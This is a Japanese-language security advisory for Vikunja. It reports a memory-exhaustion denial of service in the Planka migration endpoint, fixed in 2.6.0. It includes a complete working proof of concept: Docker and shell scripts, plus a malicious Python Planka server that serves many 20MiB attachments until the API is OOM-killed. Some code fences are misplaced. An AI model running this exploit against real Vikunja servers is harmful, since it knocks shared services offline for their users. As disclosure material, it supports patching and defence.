Vikunja: Planka移行における問題点:攻撃者によって提供される添付ファイルが無限に蓄積され、APIがメモリ不足になる可能性がある
# Planka移行における問題点:攻撃者によって提供される添付ファイルが無限に蓄積され、APIがメモリ不足になる可能性がある
## 概要
常に登録可能なPlanka移行機能を使用すると、通常のユーザーは任意のPlankaサーバーを選択できます。Vikunjaは、各JSONレスポンス、ページネーションループ、および添付ファイルを個別に制限していますが、全体の処理量には制限がありません。変換プロセスでは、広告されているすべての非リンク添付ファイルをダウンロードし、完全な階層構造が挿入されるまで、すべてのデータブロックをメモリ上に保持します。そのため、悪意のある攻撃者が制御するサーバーを使用すると、メモリ使用量がサービスに割り当てられた限度を超えて増加する可能性があります。最終的なDocker実行では、デフォルトのSSRFポリシーが維持されており、5つの個別に有効な20MiBの添付ファイルレスポンスの後、正常なAPIプロセスがメモリ不足により停止しました。
## 影響と影響範囲
- **種類:** リソース枯渇によるDoS攻撃
- **影響を受けるコンポーネント:** POST /api/v2/migration/planka/migrate; Planka移行機能の非同期処理を行うワーカー
- **前提条件:** 権限の低いVikunjaユーザーが、攻撃者が管理する公開されているPlankaサーバーのURLとトークンを提供します。そのサーバーは、プロジェクト/ボード/カード/添付ファイルの数などを制御し、各添付ファイルのデータをVikunjaの通常のファイルごとの制限以下で送信します。
- **検証されたバージョン:** 2026年8月28日の `d66ef3d1a39c6f7289593059a1a34afd1d059260`
- **影響を受けるバージョン範囲:** テストされた2.5.0以降のメインブランチでは `> 2.5.0`。ただし、公開されているビルドでは再現されていません。
権限の低いリモートユーザーが公開されているHTTPサーバーを操作している場合、1回の移行リクエストで共有されているVikunjaプロセスを停止させ、APIを停止させることができます。
## 技術的な詳細
Plankaの変換プロセスでは、各非リンク添付ファイルを`bytes.Buffer`に読み込み、その内容を`buf.Bytes()`としてメモリ上のタスク添付ファイルに割り当てます。すべての割り当ては、すべてのリモートデータが取得され、`InsertFromStructure`が開始されるまで、階層構造内で参照可能な状態が維持されます。レスポンスごと、ページごと、ファイルごとの制限は、全体の処理量を制限しません。
攻撃経路:認証済み移行リクエスト -> 同期的な攻撃者サーバーの認証情報照会 -> リクエストの期限なしで非同期的に移行を実行 -> 攻撃者プロジェクト/ボードのメタデータを取得 -> 攻撃者の添付ファイルリストをループ -> 個別にサイズ制限のあるダウンロード -> すべてのFileContentのスライスを保持 -> プロセス/コンテナのメモリ不足(OOM)およびAPIの停止
関連するコード:
- `pkg/routes/api/v2/migration_credentials.go:35`
- `pkg/routes/api/v2/migration_shared.go:73`
- `pkg/routes/api/v2/migration_shared.go:95`
- `pkg/modules/migration/planka/client.go:37`
- `pkg/modules/migration/planka/client.go:356`
- `pkg/modules/migration/planka/fetch.go:29`
- `pkg/modules/migration/planka/fetch.go:32`
- `pkg/modules/migration/planka/convert.go:275`
- `pkg/modules/migration/planka/convert.go:280`
- `pkg/modules/migration/planka/convert.go:293`
- `pkg/modules/migration/planka/planka.go:86`
- `pkg/modules/migration/planka/planka.go:100`
## 再現手順
これは、承認された一時的な環境でのみ実行してください。完全な検証済み最小ファイルセットは以下に示されています。これにより、隔離されたターゲットが起動され、セキュリティに関連するトリガーが実行され、特定のターゲット/アプリケーションの信号が検証され、利用可能なネガティブテストまたはコントロールケースが実行されます。
`reproduction/Dockerfile`を作成します。
```text
FROM golang:1.27-bookworm AS builder
WORKDIR /src
COPY --from=target . .
RUN mkdir -p frontend/dist \
&& printf '<!doctype html><title>PoC</title>' > frontend/dist/index.html \
&& go build -o /out/vikunja .
FROM golang:1.27-bookworm
RUN apt-get update \
&& apt-get install -y --no-install-recommends ca-certificates curl python3 \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY --from=builder /out/vikunja /app/vikunja
COPY . /app
RUN chmod +x /app/verify.sh
```
`reproduction/verify.sh`を作成します。
```sh
#!/usr/bin/env bash
set -euo pipefail
test -d /target-repo
test "$(git -C /target-repo rev-parse HEAD)" = "d66ef3d1a39c6f7289593059a1a34afd1d059260"
test -z "${VIKUNJA_OUTGOINGREQUESTS_ALLOWNONROUTABLEIPS:-}"
mkdir -p /work/files /work/logs
export VIKUNJA_DATABASE_TYPE=sqlite
export VIKUNJA_DATABASE_PATH=/work/vikunja.db
export VIKUNJA_FILES_BASEPATH=/work/files
export VIKUNJA_LOG_PATH=/work/logs
export VIKUNJA_SERVICE_ROOTPATH=/work
export VIKUNJA_SERVICE_INTERFACE=0.0.0.0:3456
export VIKUNJA_SERVICE_PUBLICURL=http://127.0.0.1:3456/
export VIKUNJA_SERVICE_FRONTENDURL=http://127.0.0.1:3456/
python3 /app/malicious_planka.py > /work/planka.log 2>&1 &
PLANKA_PID=$!
/app/vikunja > /work/vikunja.log 2>&1 &
VIKUNJA_PID=$!
cleanup() {
if kill -0 "${VIKUNJA_PID}" 2>/dev/null; then
kill "${VIKUNJA_PID}" 2>/dev/null || true
wait "${VIKUNJA_PID}" 2>/dev/null || true
fi
if kill -0 "${PLANKA_PID}" 2>/dev/null; then
kill "${PLANKA_PID}" 2>/dev/null || true
wait "${PLANKA_PID}" 2>/dev/null || true
fi
}
trap cleanup EXIT
for _ in $(seq 1 90); do
if curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1 \
&& curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null 2>&1; then
break
fi
sleep 1
done
curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null
curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null
REGISTER_CODE="$(curl -sS -o /work/register.json -w '%{http_code}' \
-H 'Content-Type: application/json' \
-d '{"username":"PoC","email":"PoC@example.invalid","password":"PoC-Test-Password-123!"}' \
http://127.0.0.1:3456/api/v2/register)"
test "${REGISTER_CODE}" = "201"
curl -fsS \
-H 'Content-Type: application/json' \
-d '{"username":"PoC","password":"PoC-Test-Password-123!","long_token":false}' \
http://127.0.0.1:3456/api/v2/login > /work/login.json
TOKEN="$(python3 -c 'import json; print(json.load(open("/work/login.json"))["token"])')"
test -n "${TOKEN}"
BASELINE_RSS_KIB="$(awk '/VmRSS/{print $2}' "/proc/${VIKUNJA_PID}/status")"
OOM_BEFORE="$(awk '$1 == "oom_kill" {print $2}' /sys/fs/cgroup/memory.events)"
MIGRATE_CODE="$(curl -sS -o /work/migrate.json -w '%{http_code}' \
-H "Authorization: Bearer ${TOKEN}" \
-H 'Content-Type: application/json' \
-d '{"url":"http://93.184.216.34:18080","token":"attacker-key"}' \
http://127.0.0.1:3456/api/v2/migration/planka/migrate)"
test "${MIGRATE_CODE}" = "200"
for _ in $(seq 1 90); do
if ! kill -0 "${VIKUNJA_PID}" 2>/dev/null; then
break
fi
sleep 1
done
if kill -0 "${VIKUNJA_PID}" 2>/dev/null; then
echo "[PoC] ターゲットが予期せず生き残った" >&2
tail -n 80 /work/vikunja.log >&2
tail -n 80 /work/planka.log >&2
exit 1
fi
set +e
wait "${VIKUNJA_PID}"
TARGET_EXIT=$?
set -e
OOM_AFTER="$(awk '$1 == "oom_kill" {print $2}' /sys/fs/cgroup/memory.events)"
ATTACHMENTS_SERVED="$(cat /work/attachment-count 2>/dev/null || echo 0)"
test "${OOM_AFTER}" -gt "${OOM_BEFORE}"
test "${TARGET_EXIT}" -eq 137
test "${ATTACHMENTS_SERVED}" -ge 4
kill -0 "${PLANKA_PID}"
if curl -fsS --max-time 2 http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1; then
echo "[PoC] ターゲットの終了後も、ヘルスエンドポイントが利用可能だった" >&2
exit 1
fi
kill "${PLANKA_PID}" 2>/dev/null || true
wait "${PLANKA_PID}" 2>/dev/null || true
trap - EXIT
echo "[PoC] 証拠: migrate_status=${MIGRATE_CODE} public_attacker_ip=93.184.216.34 attachments_served=${ATTACHMENTS_SERVED} baseline_rss_kib=${BASELINE_RSS_KIB} target_exit=${TARGET_EXIT} oom_kill_delta=$((OOM_AFTER - OOM_BEFORE))"
echo "[PoC] 検証済み: 低権限のPlankaの移行により、ターゲットのメモリが枯渇し、デフォルトのSSRFポリシー下でVikunja APIが終了した。"
```
`reproduction/run.sh`を作成する:
```sh
#!/usr/bin/env bash
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
FINDING_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)"
SESSION_DIR="$(cd "${FINDING_DIR}/.." && pwd)"
if [[ "$(basename "${SESSION_DIR}")" == "artifacts" ]]; then
SESSION_DIR="$(cd "${SESSION_DIR}/.." && pwd)"
fi
CASE_ID="$(basename "${SESSION_DIR}")"
FINDING_NAME="$(basename "${FINDING_DIR}")"
IMAGE_TAG="PoC-${CASE_ID}-${FINDING_NAME}"
NETWORK_NAME="${IMAGE_TAG}-net-$$"
TARGET_REPO_URL="https://github.com/go-vikunja/vikunja.git"
TARGET_REF="d66ef3d1a39c6f7289593059a1a34afd1d059260"
WORKDIR="$(mktemp -d "${SESSION_DIR}/.PoC-repro.XXXXXX")"
NETWORK_CREATED=false
cleanup() {
if [[ "${NETWORK_CREATED}" == "true" ]]; then
docker network rm "${NETWORK_NAME}" > /dev/null 2>&1 || true
fi
rm -rf "${WORKDIR}"
}
trap cleanup EXIT
TARGET_REPO_DIR="${WORKDIR}/repo"
echo "[PoC] ターゲットリポジトリのクローンを開始します"
git clone --filter=blob:none --no-checkout "${TARGET_REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --detach "${TARGET_REF}"
printf '\n.git\n' >> "${TARGET_REPO_DIR}/.dockerignore"
echo "[PoC] 再現用イメージのビルドを開始します: ${IMAGE_TAG}"
docker build \
--build-context "target=${TARGET_REPO_DIR}" \
-t "${IMAGE_TAG}" \
"${SCRIPT_DIR}"
echo "[PoC] 隔離されたパブリックアドレステストネットワークの作成"
docker network create --subnet 93.184.216.0/24 "${NETWORK_NAME}" > /dev/null
NETWORK_CREATED=true
echo "[PoC] 脆弱性トリガーと検証の実行"
docker run --rm \
--network "${NETWORK_NAME}" \
--ip 93.184.216.34 \
--memory=256m \
--memory-swap=256m \
-v "${TARGET_REPO_DIR}:/target-repo:ro" \
"${IMAGE_TAG}" \
/app/verify.sh
echo "[PoC] 成功: 再現が完了し、検証されました"
```
`reproduction/malicious_planka.py` を作成します:
```python
#!/usr/bin/env python3
import json
import os
import threading
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
ATTACHMENT_COUNT = 24
ATTACHMENT_BYTES = 20 * 1024 * 1024
counter = 0
counter_lock = threading.Lock()
```
class Handler(BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
def log_message(self, fmt, *args):
print(fmt % args, flush=True)
def send_json(self, payload):
body = json.dumps(payload, separators=(",", ":")).encode()
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def do_DELETE(self):
self.send_response(204)
self.send_header("Content-Length", "0")
self.end_headers()
def do_GET(self):
global counter
if self.path == "/api/users/me":
self.send_json({"item": {"id": "attacker"}})
return
if self.path == "/api/projects":
self.send_json(
{
"items": [{"id": "p1", "name": "attacker project"}],
"included": {
"boards": [
{"id": "b1", "name": "board", "projectId": "p1", "position": 1}
],
"baseCustomFieldGroups": [],
"customFields": [],
},
}
)
return
if self.path == "/api/boards/b1":
attachments = [
{
"id": f"a{i}",
"type": "file",
"name": f"aggregate-{i}.bin",
"cardId": "c1",
"data": {"mimeType": "application/octet-stream"},
}
for i in range(ATTACHMENT_COUNT)
]
self.send_json(
{
"item": {"id": "b1", "name": "board", "projectId": "p1", "position": 1},
"included": {
"users": [],
"labels": [],
"lists": [
{"id": "l1", "name": "active", "type": "active", "position": 1}
],
"cards": [
{"id": "c1", "name": "memory bomb", "listId": "l1", "commentsTotal": 0}
],
"cardLabels": [],
"taskLists": [],
"tasks": [],
"attachments": attachments,
"customFieldGroups": [],
"customFields": [],
"customFieldValues": [],
},
}
)
```
)
return
if self.path.startswith("/attachments/"):
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("Content-Length", str(ATTACHMENT_BYTES))
self.end_headers()
chunk = b"A" * 65536
try:
for _ in range(ATTACHMENT_BYTES // len(chunk)):
self.wfile.write(chunk)
except (BrokenPipeError, ConnectionResetError):
return
with counter_lock:
counter += 1
with open("/work/attachment-count", "w", encoding="ascii") as count_file:
count_file.write(str(counter))
count_file.flush()
os.fsync(count_file.fileno())
return
self.send_response(404)
self.send_header("Content-Length", "0")
self.end_headers()
ThreadingHTTPServer(("0.0.0.0", 18080), Handler).serve_forever()
```
これらのファイルを含むディレクトリから、以下のコマンドを実行します。
```sh
chmod +x reproduction/run.sh reproduction/*.sh 2>/dev/null || true
./reproduction/run.sh
```
**期待される結果:** マイグレーションリクエストは200を返すはずです。攻撃者サーバーは、個別に許可された添付ファイルに対する応答をいくつか完了し、その後、Vikunjaはメモリ不足で強制終了され、そのヘルスチェックエンドポイントは応答しなくなります。攻撃者サービスと検証サービスは生存し続けます。
**実際の結果:** 最終的な実行では、`migrate_status=200`が、`public_attacker_ip=93.184.216.34`で、ルーティング不可能なIPアドレスのオーバーライドなしで返されました。攻撃者は5つの20MiBの応答を完了しました。Vikunjaは137というコードで終了し、cgroupのoom_killが増加し、ヘルスチェックが利用できなくなったにもかかわらず、攻撃者サーバーは稼働し続けました。検証サービスは、期待される`VERIFIED`シグナルを発し、`run.sh`は0で終了しました。
**検証と制御:** このテストでは、固定されたマウントポイント、設定されていないルーティングバイパス、正常なAPIと攻撃者エンドポイント、および正常なユーザーの登録/ログインが必要です。 また、メモリ使用状況を記録し、実際のPlankaルートを送信し、完全に送信された添付ファイルの数をカウントし、migrate 200での成功、少なくとも4つの完全なデータ、ターゲットの終了コード137、oom_killの増加、攻撃者サーバーの存続、および正常な状態の失敗のみを成功とみなします。
観察された証拠:
- migrate_status=200
- public_attacker_ip=93.184.216.34
- attachments_served=5
- baseline_rss_kib=68064
- target_exit=137
- oom_kill_delta=1
- [PoC] VERIFIED: 低権限のPlanka移行により、ターゲットのメモリが枯渇し、デフォルトのSSRFポリシー下でVikunja APIが停止しました。
## 推奨される対策
上記の機密操作を実行する前に、意図された認証、サイズ、カーディナリティ、再帰、またはライフサイクル境界を適用してください。 エラー発生時は安全側に傾き、すべての終了パスで一部のリソースを解放し、脆弱性を再現し、ネガティブコントロールまたはオラクルを維持する回帰テストを追加してください。
## 深刻度
**CVSS v4.0: 7.1 (高)** — ベクター: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
この評価は暫定的なものであり、メンテナによる確認が必要です。 スコアは、2026年8月28日にFIRST CVSS v4.0のリファレンス実装を使用して再計算されました。
## 報告の背景と情報源
AIによる分析がこの問題を特定するのに役立ちました。 この動作は、隔離された環境で独立して再現および検証されました。
シドニー大学のセキュリティ研究チームによって報告されました。
- [Ziyue Wang (@Zyy0530)](https://github.com/Zyy0530)
- [Liyi Zhou (@lzhou1110)](https://github.com/lzhou1110)
- [Strick Sheng (@Str1ckl4nd)](https://github.com/Str1ckl4nd)
- [Maurice Ng (@mauriceng98)](https://github.com/mauriceng98)
- [Chenchen Yu (@7thParkk)](https://github.com/7thParkk)
ご質問にお答えしたり、追加の検証情報を提供したり、パッチ候補を検証したりすることができます。
影響を受けるパッケージ:
- go code.vikunja.io/api: 影響を受けるバージョンは 2.5.0 以降、2.6.0 未満。2.6.0 で修正済み。